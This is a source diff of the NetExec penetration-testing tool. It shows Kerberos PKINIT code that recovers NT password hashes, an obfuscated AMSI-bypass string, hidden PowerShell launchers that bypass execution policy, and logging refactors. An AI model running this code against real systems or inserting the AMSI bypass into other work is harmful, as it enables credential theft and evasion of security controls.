-        1. 'data' blob which is an ASN1 encoded "AuthPack" structure
-        2. the certificate used to sign the data blob
-        3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1)
-        """
-        da = {}
-        da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26")  # for sha1
-
-        si = {}
-        si["version"] = "v1"
-        si["sid"] = cms.IssuerAndSerialNumber({
-            "issuer":  self.certificate.issuer,
-            "serial_number":  self.certificate.serial_number,
-        })
-
-        si["digest_algorithm"] = algos.DigestAlgorithm(da)
-        si["signed_attrs"] = [
-            cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}),  # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed )
-            cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}),  # hash of the data, the data itself will not be signed, but this block of data will be.
-        ]
-        si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
-        si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1")
-
-        ec = {}
-        ec["content_type"] = "1.3.6.1.5.2.3.1"
-        ec["content"] = data
-
-        sd = {}
-        sd["version"] = "v3"
-        sd["digest_algorithms"] = [algos.DigestAlgorithm(da)]  # must have only one
-        sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec)
-        sd["certificates"] = [self.certificate]
-        sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)])
-
-        if wrap_signed is True:
-            ci = {}
-            ci["content_type"] = "1.2.840.113549.1.7.2"  # signed data OID
-            ci["content"] = cms.SignedData(sd)
-            return cms.ContentInfo(ci).dump()
-
-        return cms.SignedData(sd).dump()
-
-    def decrypt_asrep(self, as_rep):
-        def truncate_key(value, keysize):
-            output = b""
-            currentNum = 0
-            while len(output) < keysize:
-                currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest()
-                if len(output) + len(currentDigest) > keysize:
-                    output += currentDigest[:keysize - len(output)]
-                    break
-                output += currentDigest
-                currentNum += 1
-
-            return output
-
-        for pa in as_rep["padata"]:
-            if pa["padata-type"] == 17:
-                pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native
-                break
-        else:
-            raise Exception("PA_PK_AS_REP not found!")
-        ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native
-        sd = ci["content"]
-        keyinfo = sd["encap_content_info"]
-        if keyinfo["content_type"] != "1.3.6.1.5.2.3.2":
-            raise Exception("Keyinfo content type unexpected value")
-        authdata = KDCDHKeyInfo.load(keyinfo["content"]).native
-        pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2)
-
-        pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False)
-        shared_key = self.diffie.exchange(pubkey)
-
-        server_nonce = pkasrep["serverDHNonce"]
-        fullKey = shared_key + self.diffie.dh_nonce + server_nonce
-
-        etype = as_rep["enc-part"]["etype"]
-        cipher = _enctype_table[etype]
-        if etype == Enctype.AES256:
-            t_key = truncate_key(fullKey, 32)
-        elif etype == Enctype.AES128:
-            t_key = truncate_key(fullKey, 16)
-        elif etype == Enctype.RC4:
-            raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES")
-
-        key = Key(cipher.enctype, t_key)
-        enc_data = as_rep["enc-part"]["cipher"]
-        logging.info("AS-REP encryption key (you might need this later):")
-        logging.info(hexlify(t_key).decode("utf-8"))
-        dec_data = cipher.decrypt(key, 3, enc_data)
-        encasrep = EncASRepPart.load(dec_data).native
-        cipher = _enctype_table[int(encasrep["key"]["keytype"])]
-        session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"])
-        return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8")
-
-
-class GETPAC:
-
-    def printPac(self, data, key=None):
-        nthash = None
-        encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
-        adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[
-            0]
-        # So here we have the PAC
-        pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets())
-        buff = pacType["Buffers"]
-        found = False
-        for _bufferN in range(pacType["cBuffers"]):
-            infoBuffer = PAC_INFO_BUFFER(buff)
-            data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
-            if logging.getLogger().level == logging.DEBUG:
-                print("TYPE 0x%x" % infoBuffer["ulType"])
-            if infoBuffer["ulType"] == 2:
-                found = True
-                credinfo = PAC_CREDENTIAL_INFO(data)
-                if logging.getLogger().level == logging.DEBUG:
-                    credinfo.dump()
-                newCipher = _enctype_table[credinfo["EncryptionType"]]
-                out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
-                type1 = TypeSerialization1(out)
-                # I'm skipping here 4 bytes with its the ReferentID for the pointer
-                newdata = out[len(type1) + 4:]
-                pcc = PAC_CREDENTIAL_DATA(newdata)
-                if logging.getLogger().level == logging.DEBUG:
-                    pcc.dump()
-                for cred in pcc["Credentials"]:
-                    credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
-                    if logging.getLogger().level == logging.DEBUG:
-                        credstruct.dump()
-
-                    logging.info("Recovered NT Hash")
-                    logging.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
-                    nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
-
-            buff = buff[len(infoBuffer):]
-
-        if not found:
-            logging.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
-        return nthash
-
-    def __init__(self, username, domain, kdcHost, key, tgt):
-        self.__username = username
-        self.__domain = domain.upper()
-        self.__kdcHost = kdcHost
-        self.__asrep_key = key
-        self.__tgt = tgt["KDC_REP"]
-        self.__cipher = tgt["cipher"]
-        self.__sessionKey = tgt["sessionKey"]
-
-    def dump(self):
-        # Try all requested protocols until one works.
-        tgt = self.__tgt
-        cipher = self.__cipher
-        sessionKey = self.__sessionKey
-
-        decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
-
-        # Extract the ticket from the TGT
-        ticket = Ticket()
-        ticket.from_asn1(decodedTGT["ticket"])
-
-        apReq = AP_REQ()
-        apReq["pvno"] = 5
-        apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
-
-        opts = []
-        apReq["ap-options"] = constants.encodeFlags(opts)
-        seq_set(apReq, "ticket", ticket.to_asn1)
-
-        authenticator = Authenticator()
-        authenticator["authenticator-vno"] = 5
-        authenticator["crealm"] = str(decodedTGT["crealm"])
-
-        clientName = Principal()
-        clientName.from_asn1(decodedTGT, "crealm", "cname")
-
-        seq_set(authenticator, "cname", clientName.components_to_asn1)
-
-        now = datetime.datetime.utcnow()
-        authenticator["cusec"] = now.microsecond
-        authenticator["ctime"] = KerberosTime.to_asn1(now)
-
-        if logging.getLogger().level == logging.DEBUG:
-            logging.debug("AUTHENTICATOR")
-            print(authenticator.prettyPrint())
-            print("\n")
-
-        encodedAuthenticator = encoder.encode(authenticator)
-
-        # Key Usage 7
-        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
-        # TGS authenticator subkey), encrypted with the TGS session
-        # key (Section 5.5.1)
-        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
-
-        apReq["authenticator"] = noValue
-        apReq["authenticator"]["etype"] = cipher.enctype
-        apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
-
-        encodedApReq = encoder.encode(apReq)
-
-        tgsReq = TGS_REQ()
-
-        tgsReq["pvno"] = 5
-        tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
-
-        tgsReq["padata"] = noValue
-        tgsReq["padata"][0] = noValue
-        tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
-        tgsReq["padata"][0]["padata-value"] = encodedApReq
-
-        reqBody = seq_set(tgsReq, "req-body")
-
-        opts = []
-        opts.append(constants.KDCOptions.forwardable.value)
-        opts.append(constants.KDCOptions.renewable.value)
-        opts.append(constants.KDCOptions.canonicalize.value)
-        opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
-
-        reqBody["kdc-options"] = constants.encodeFlags(opts)
-
-        serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
-
-        seq_set(reqBody, "sname", serverName.components_to_asn1)
-        reqBody["realm"] = str(decodedTGT["crealm"])
-
-        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
-
-        reqBody["till"] = KerberosTime.to_asn1(now)
-        reqBody["nonce"] = random.getrandbits(31)
-        seq_set_iter(reqBody, "etype",
-                     (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
-
-        myTicket = ticket.to_asn1(TicketAsn1())
-        seq_set_iter(reqBody, "additional-tickets", (myTicket,))
-        if logging.getLogger().level == logging.DEBUG:
-            logging.debug("Final TGS")
-            print(tgsReq.prettyPrint())
-        if logging.getLogger().level == logging.DEBUG:
-            logging.debug("Final TGS")
-            print(tgsReq.prettyPrint())
-
-        message = encoder.encode(tgsReq)
-        logging.info("Requesting ticket to self with PAC")
-
-        r = sendReceive(message, self.__domain, self.__kdcHost)
-
-        tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
-
-        if logging.getLogger().level == logging.DEBUG:
-            logging.debug("TGS_REP")
-            print(tgs.prettyPrint())
-
-        cipherText = tgs["ticket"]["enc-part"]["cipher"]
-
-        # Key Usage 2
-        # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
-        #  application session key), encrypted with the service key
-        #  (section 5.4.2)
-
-        # S4USelf + U2U uses this other key
-        plainText = cipher.decrypt(sessionKey, 2, cipherText)
-        specialkey = Key(18, unhexlify(self.__asrep_key))
-        return self.printPac(plainText, specialkey)
-
-
-def pfx_auth(self):
-    """Handles the authentication using a PFX or PEM file"""
-    # Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason
-    dhparams = {
-        "p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16),
-        "g": 2
-    }
-    self.logger.info("Loading certificate and key from file")
-
-    # Load the certificate and key from file
-    if self.args.pfx_cert or self.args.pfx_base64:
-        pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
-        ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
-    elif self.args.pem_cert and self.args.pem_key:
-        ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
-    else:
-        self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
-        return None
-
-    username = self.args.username[0]
-    log_ccache = os.path.expanduser(f"{NXC_PATH}/logs/{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache".replace(":", "-"))
-
-    # Request a TGT with the cert data
-    req = ini.build_asreq(self.domain, username)
-    self.logger.info("Requesting TGT")
-
-    sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
-    try:
-        res = sock.sendrecv(req)
-    except Exception as e:
-        self.logger.fail(str(e))
-        return False
-
-    encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native)
-    ccache_minikerberos = CCACHE()
-    ccache_minikerberos.add_tgt(res.native, encasrep)
-    ccache_minikerberos.to_file(log_ccache)
-    self.logger.info(f"Saved TGT to file {log_ccache}")
-    self.logger.info(f"Using Kerberos Cache {log_ccache}")
-    ccache = impacket_CCache.loadFile(log_ccache)
-    principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}"
-    creds = ccache.getCredential(principal)
-    if creds is not None:
-        tgt = creds.toTGT()
-        dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt)
-        nthash = dumper.dump()
-        if not self.kerberos:
-            self.hash_login(self.domain, username, nthash)
-        else:
-            self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False)
-
-    self.logger.info("Successfully authenticated using Certificate")
-    return True

nxc/helpers/powershell.py

@@ -12,20 +12,6 @@ import random
 
 obfuscate_ps_scripts = False
 
-def replace_singles(s):
-    """Replaces single quotes with a double quote
-    We do this because quoting is very important in PowerShell, and we are doing multiple layers:
-    Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer.
-
-    Args:
-    ----
-        s (str): The string to replace single quotes in.
-
-    Returns:
-    -------
-        str: Original string with single quotes replaced with double.
-    """
-    return s.replace("'", r"\"")
 
 def get_ps_script(path):
     """Generates a full path to a PowerShell script given a relative path.
@@ -122,66 +108,91 @@ def obfs_ps_script(path_to_script):
 
 
 
-def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
+def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
     """
     Generates a PowerShell command based on the provided `ps_command` parameter.
 
     Args:
     ----
         ps_command (str): The PowerShell command to be executed.
+
         force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
-        obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
+
+        dont_obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
+
         custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
-        encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True.
 
     Returns:
     -------
         str: The generated PowerShell command.
     """
-    nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
-    
     if custom_amsi:
-        nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
         with open(custom_amsi) as file_in:
             lines = list(file_in)
             amsi_bypass = "".join(lines)
     else:
-        amsi_bypass = ""
+        amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
+try{
+[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
+}catch{}
+"""
+
+    command = amsi_bypass + f"\n$functions = {{\n    function Command-ToExecute\n    {{\n{amsi_bypass + ps_command}\n    }}\n}}\nif ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')\n{{\n    $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32\n    $job | Wait-Job\n}}\nelse\n{{\n    IEX \"$functions\"\n    Command-ToExecute\n}}\n" if force_ps32 else amsi_bypass + ps_command
 
-    # for readability purposes, we do not do a one-liner
-    if force_ps32:  # noqa: SIM108
-        # https://stackoverflow.com/a/60155248
-        command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
-    else:
-        command = f"{amsi_bypass} {ps_command}"
-    
     nxc_logger.debug(f"Generated PS command:\n {command}\n")
 
-    if obfs:
-        nxc_logger.debug("Obfuscating PowerShell command")
+    # We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
+    # concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
+    # of dealing with this  it will use the partial python implementation that I stole from GreatSCT
+    # (https://github.com/GreatSCT/GreatSCT) <3
+
+    """
+    if is_powershell_installed():
+
+        temp = tempfile.NamedTemporaryFile(prefix='nxc_',
+                                           suffix='.ps1',
+                                           dir='/tmp')
+        temp.write(command)
+        temp.read()
+
+        encoding_types = [1,2,3,4,5,6]
+        while True:
+            encoding = random.choice(encoding_types)
+            invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
+                                                                                                                                              temp.name,
+                                                                                                                                              encoding)
+            nxc_logger.debug(invoke_obfs_command)
+            out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
+
+            command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
+            nxc_logger.debug('Command length: {}'.format(len(command)))
+
+            if len(command) <= 8192:
+                temp.close()
+                break
+
+            encoding_types.remove(encoding)
+    
+    else:
+    """
+    if not dont_obfs:
         obfs_attempts = 0
         while True:
-            nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
-            obfs_command = invoke_obfuscation(command)
-            
-            command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
+            command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{invoke_obfuscation(command)}"'
             if len(command) <= 8191:
                 break
+
             if obfs_attempts == 4:
                 nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
                 exit(1)
-            nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...")
+
             obfs_attempts += 1
     else:
-        # if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
-        command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
-        command = f"powershell.exe -noni -nop -w 1 {command}"
-        
+        command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}"
         if len(command) > 8191:
             nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
             exit(1)
-            
-    nxc_logger.debug(f"Final command: {command}")
+
     return command
 
 
@@ -309,7 +320,6 @@ def invoke_obfuscation(script_string):
     -------
         str: The obfuscated payload for execution.
     """
-    nxc_logger.debug(f"Command before obfuscation: {script_string}")
     random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
     random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]
 
@@ -426,7 +436,5 @@ def invoke_obfuscation(script_string):
         choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
     ]
 
-    obfuscated_script = choice(invoke_options)
-    nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
-    return obfuscated_script
+    return choice(invoke_options)
 

nxc/loaders/moduleloader.py

@@ -24,9 +24,6 @@ class ModuleLoader:
         if not hasattr(module, "name"):
             self.logger.fail(f"{module_path} missing the name variable")
             module_error = True
-        elif hasattr(module, "name") and module.name != module_path.split("/")[-1].split("\\")[-1][:-3]:
-            self.logger.fail(f"{module_path} filename must match the module name {module.name}")
-            module_error = True
         elif not hasattr(module, "description"):
             self.logger.fail(f"{module_path} missing the description variable")
             module_error = True
@@ -95,7 +92,7 @@ class ModuleLoader:
             module_spec = spec.loader.load_module().NXCModule
 
             module = {
-                f"{module_spec.name}": {
+                f"{module_spec.name.lower()}": {
                     "path": module_path,
                     "description": module_spec.description,
                     "options": module_spec.options.__doc__,

nxc/logger.py

@@ -3,105 +3,35 @@ from logging import LogRecord
 from logging.handlers import RotatingFileHandler
 import os.path
 import sys
+import re
+from nxc.helpers.misc import called_from_cmd_args
 from nxc.console import nxc_console
-from nxc.paths import NXC_PATH
 from termcolor import colored
 from datetime import datetime
 from rich.text import Text
 from rich.logging import RichHandler
-import functools
-import inspect
-import argparse
-
-
-def parse_debug_args():
-    debug_parser = argparse.ArgumentParser(add_help=False)
-    debug_parser.add_argument("--debug", action="store_true")
-    debug_parser.add_argument("--verbose", action="store_true")
-    args, _ = debug_parser.parse_known_args()
-    return args
-
-
-def setup_debug_logging():
-    debug_args = parse_debug_args()
-    root_logger = logging.getLogger("root")
-
-    if debug_args.verbose:
-        nxc_logger.logger.setLevel(logging.INFO)
-        root_logger.setLevel(logging.INFO)
-    elif debug_args.debug:
-        nxc_logger.logger.setLevel(logging.DEBUG)
-        root_logger.setLevel(logging.DEBUG)
-    else:
-        nxc_logger.logger.setLevel(logging.ERROR)
-        root_logger.setLevel(logging.ERROR)
-
-
-def create_temp_logger(caller_frame, formatted_text, args, kwargs):
-    """Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
-    temp_logger = logging.getLogger("temp")
-    formatter = logging.Formatter("%(message)s", datefmt="[%X]")
-    handler = SmartDebugRichHandler(formatter=formatter)
-    handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame))
-
-
-class SmartDebugRichHandler(RichHandler):
-    """Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
-
-    def __init__(self, formatter=None, *args, **kwargs):
-        super().__init__(*args, **kwargs)
-        if formatter is not None:
-            self.setFormatter(formatter)
-
-    def emit(self, record):
-        """Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
-        if hasattr(record, "caller_frame"):
-            frame_info = inspect.getframeinfo(record.caller_frame)
-            record.pathname = frame_info.filename
-            record.lineno = frame_info.lineno
-        super().emit(record)
-
-
-def no_debug(func):
-    """Stops logging non-debug messages when we are in debug mode
-    It creates a temporary logger and logs the message to the console and file
-    This is so we don't get both normal output AND debugging output, AND so we get the proper log calling file & line number
-    """
-    @functools.wraps(func)
-    def wrapper(self, msg, *args, **kwargs):
-        if self.logger.getEffectiveLevel() >= logging.INFO:
-            return func(self, msg, *args, **kwargs)
-        else:
-            formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
-            caller_frame = inspect.currentframe().f_back
-            create_temp_logger(caller_frame, formatted_text, args, kwargs)
-            self.log_console_to_file(formatted_text, *args, **kwargs)
-    return wrapper
 
 
 class NXCAdapter(logging.LoggerAdapter):
-    def __init__(self, extra=None, merge_extra=False):
+    def __init__(self, extra=None):
         logging.basicConfig(
             format="%(message)s",
             datefmt="[%X]",
-            handlers=[RichHandler(
-                console=nxc_console,
-                rich_tracebacks=True,
-                tracebacks_show_locals=False
-            )],
-            encoding="utf-8"
+            handlers=[
+                RichHandler(
+                    console=nxc_console,
+                    rich_tracebacks=True,
+                    tracebacks_show_locals=False,
+                )
+            ],
         )
         self.logger = logging.getLogger("nxc")
         self.extra = extra
-        self.merge_extra = merge_extra
         self.output_file = None
 
-        logging.getLogger("impacket").disabled = True
         logging.getLogger("pypykatz").disabled = True
         logging.getLogger("minidump").disabled = True
         logging.getLogger("lsassy").disabled = True
-        logging.getLogger("dploot").disabled = True
-        logging.getLogger("neo4j").setLevel(logging.ERROR)
 
     def format(self, msg, *args, **kwargs):  # noqa: A003
         """Format msg for output
@@ -111,49 +41,77 @@ class NXCAdapter(logging.LoggerAdapter):
         if self.extra is None:
             return f"{msg}", kwargs
 
-        if "module_name" in self.extra and len(self.extra["module_name"]) > 11:
+        if "module_name" in self.extra and len(self.extra["module_name"]) > 8:
             self.extra["module_name"] = self.extra["module_name"][:8] + "..."
 
         # If the logger is being called when hooking the 'options' module function
         if len(self.extra) == 1 and ("module_name" in self.extra):
-            return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs)
+            return (
+                f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}",
+                kwargs,
+            )
 
         # If the logger is being called from nxcServer
         if len(self.extra) == 2 and ("module_name" in self.extra) and ("host" in self.extra):
-            return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", kwargs)
+            return (
+                f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}",
+                kwargs,
+            )
 
         # If the logger is being called from a protocol
         module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
 
-        return (f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs)
+        return (
+            f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}",
+            kwargs,
+        )
 
-    @no_debug
     def display(self, msg, *args, **kwargs):
         """Display text to console, formatted for nxc"""
+        try:
+            if self.extra and "protocol" in self.extra and not called_from_cmd_args():
+                return
+        except AttributeError:
+            pass
+
         msg, kwargs = self.format(f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs)
         text = Text.from_ansi(msg)
         nxc_console.print(text, *args, **kwargs)
         self.log_console_to_file(text, *args, **kwargs)
 
-    @no_debug
     def success(self, msg, color="green", *args, **kwargs):
-        """Prints some sort of success to the user"""
+        """Print some sort of success to the user"""
+        try:
+            if self.extra and "protocol" in self.extra and not called_from_cmd_args():
+                return
+        except AttributeError:
+            pass
+
         msg, kwargs = self.format(f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs)
         text = Text.from_ansi(msg)
         nxc_console.print(text, *args, **kwargs)
         self.log_console_to_file(text, *args, **kwargs)
 
-    @no_debug
     def highlight(self, msg, *args, **kwargs):
         """Prints a completely yellow highlighted message to the user"""
+        try:
+            if self.extra and "protocol" in self.extra and not called_from_cmd_args():
+                return
+        except AttributeError:
+            pass
+
         msg, kwargs = self.format(f"{colored(msg, 'yellow', attrs=['bold'])}", kwargs)
         text = Text.from_ansi(msg)
         nxc_console.print(text, *args, **kwargs)
         self.log_console_to_file(text, *args, **kwargs)
 
-    @no_debug
     def fail(self, msg, color="red", *args, **kwargs):
         """Prints a failure (may or may not be an error) - e.g. login creds didn't work"""
+        try:
+            if self.extra and "protocol" in self.extra and not called_from_cmd_args():
+                return
+        except AttributeError:
+            pass
         msg, kwargs = self.format(f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs)
         text = Text.from_ansi(msg)
         nxc_console.print(text, *args, **kwargs)
@@ -165,16 +123,29 @@ class NXCAdapter(logging.LoggerAdapter):
         If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
         so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
         """
-        caller_frame = inspect.currentframe().f_back.f_back.f_back
-        if len(self.logger.handlers):  # will be 0 if it's just the console output, so only do this if we actually have file loggers
-            try:
-                for handler in self.logger.handlers:
-                    handler.handle(LogRecord("nxc", 20, pathname=caller_frame.f_code.co_filename, lineno=caller_frame.f_lineno, msg=text, args=args, exc_info=None))
-            except Exception as e:
-                self.logger.fail(f"Issue while trying to custom print handler: {e}")
+        if self.logger.getEffectiveLevel() >= logging.INFO:
+            # will be 0 if it's just the console output, so only do this if we actually have file loggers
+            if len(self.logger.handlers):
+                try:
+                    for handler in self.logger.handlers:
+                        handler.handle(
+                            LogRecord(
+                                "nxc",
+                                20,
+                                "",
+                                kwargs,
+                                msg=text,
+                                args=args,
+                                exc_info=None,
+                            )
+                        )
+                except Exception as e:
+                    self.logger.fail(f"Issue while trying to custom print handler: {e}")
+        else:
+            self.logger.info(text)
 
     def add_file_log(self, log_file=None):
-        file_formatter = logging.Formatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
+        file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
         output_file = self.init_log_file() if log_file is None else log_file
         file_creation = False
 
@@ -182,7 +153,7 @@ class NXCAdapter(logging.LoggerAdapter):
             open(output_file, "x")  # noqa: SIM115
             file_creation = True
 
-        file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
+        file_handler = RotatingFileHandler(output_file, maxBytes=100000)
 
         with file_handler._open() as f:
             if file_creation:
@@ -196,15 +167,28 @@ class NXCAdapter(logging.LoggerAdapter):
 
     @staticmethod
     def init_log_file():
-        newpath = NXC_PATH + "/logs/" + datetime.now().strftime("%Y-%m-%d")
-        os.makedirs(newpath, exist_ok=True)
+        newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime("%Y-%m-%d")
+        if not os.path.exists(newpath):
+            os.makedirs(newpath)
         return os.path.join(
-            NXC_PATH,
+            os.path.expanduser("~/.nxc"),
             "logs",
             datetime.now().strftime("%Y-%m-%d"),
             f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
         )
 
 
+class TermEscapeCodeFormatter(logging.Formatter):
+    """A class to strip the escape codes for logging to files"""
+
+    def __init__(self, fmt=None, datefmt=None, style="%", validate=True):
+        super().__init__(fmt, datefmt, style, validate)
+
+    def format(self, record):  # noqa: A003
+        escape_re = re.compile(r"\x1b\[[0-9;]*m")
+        record.msg = re.sub(escape_re, "", str(record.msg))
+        return super().format(record)
+
+
 # initialize the logger for all of nxc - this is imported everywhere
 nxc_logger = NXCAdapter()

nxc/modules/IOXIDResolver.py

@@ -0,0 +1,42 @@
+# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
+# Airbus CERT
+# module by @mpgn_x64
+
+from ipaddress import ip_address
+from impacket.dcerpc.v5 import transport
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
+from impacket.dcerpc.v5.dcomrt import IObjectExporter
+
+
+class NXCModule:
+    name = "ioxidresolver"
+    description = "This module helps you to identify hosts that have additional active interfaces"
+    supported_protocols = ["smb", "wmi"]
+    opsec_safe = True
+    multiple_hosts = False
+
+    def options(self, context, module_options):
+        """ """
+
+    def on_login(self, context, connection):
+        authLevel = RPC_C_AUTHN_LEVEL_NONE
+
